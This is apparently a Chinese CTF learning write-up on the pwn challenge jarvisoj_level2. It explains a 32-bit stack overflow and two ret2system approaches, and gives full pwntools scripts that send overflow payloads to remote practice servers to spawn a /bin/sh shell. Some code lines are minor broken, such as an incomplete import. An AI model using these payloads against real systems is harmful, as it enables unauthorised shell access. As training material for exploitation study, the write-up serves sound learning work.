从零开始学PWN学03:jarvisoj_level2

· 2025-08-27 11:30 · 3 阅读

原创 c0ny1 2025-08-27 11:30 中国香港

跳转地址的选择与参数传递的思考

 

题目本身有点boring,但是细节还挺耐玩。在解题过程各种玩,各种钻牛角尖中略有收获。

0x01 分析

很明显,溢出点在read的buf参数。buf参数距离函数返回地址有136+4=140个字节,所以读入的256个字节完全可以覆盖得到。

接下来我们需要考虑往哪个地址跳了,发现并没有经典的后门函数,但是有system函数。

那么我们是否可以在栈上压入一个字符串/bin/sh来作为system函数的参数呢?

答案是不可以。因为system函数的参数是char *,所以我们需要去找一下程序当中原本就存在的/bin/sh,然后将它的地址放在栈上作为参数。

int system(const char *command){  return system(command);}

搜到两处,我们只能用在level2里的。因为libc.so.6开启了地址随机化,每次运行地址有变化。

 

 

覆盖函数返回值,我们该用call system还是system定义处地址呢?答案是:其实都可以。

因此根据这两处,就有2个构造payload方案了。它们的区别主要在于需要构造的栈内存结构不太一样。

 

0x2 利用

2.1 方式一:跳到call system处

call func方式栈内存布局

Param nParam n-1...Param 1

payload = 'A' * offset  + system调用处地址  + 参数1

from pwn import *call_system_addr = 0x0804849e#call_system_addr = 0x804845coffset = 140str_bin_sh_addr = 0x0804a024payload = offset * b'A' + p32(call_system_addr) + p32(str_bin_sh_addr)p = remote('node5.buuoj.cn',27491)pause()p.sendline(payload)p.interactive()

2.2 方式二:跳到system定义处

在程序里我们会看到有两个 system:一个出现在 .plt 段,另一个在 extern 段。我们该用哪个呢?

答:真正能用的只有 .plt 里的 system

原因是:.plt 段里的 system 是程序调用外部函数时的跳板入口,执行时会正确跳转到 glibc 里的实现。而 extern 段只是 IDA 自己生成的“占位符”(虚拟出来的段),用来表示“这里依赖了外部的 system 函数,但没在本地定义”。它对应的地址(例如 0x0804A038)并不是真实可执行的地址。

func define方式栈内存布局

Param nParam n-1...Param 1ret addrold_rbp...

payload = 'A' * offset  + system定义处地址 + 函数返回地址 + 参数1

因为执行完system('/bin/sh')后,我们的目的已经达成,至于后续跳转到什么地方无所谓。所以函数返回地址可以任意,这里设置为0

from pwn importp = remote('node4.buuoj.cn',28084)#p=process('./level2') str_bin_sh_addr = 0x0804a024system_define_addr = 0x08048320 p.recvuntil('Input:\n')payload = b'A' * (0x88 + 0x04) + p32(system_define_addr) + p32(0) + p32(str_bin_sh_addr) p.sendline(payload)p.interactive()

 

阅读原文

跳转微信打开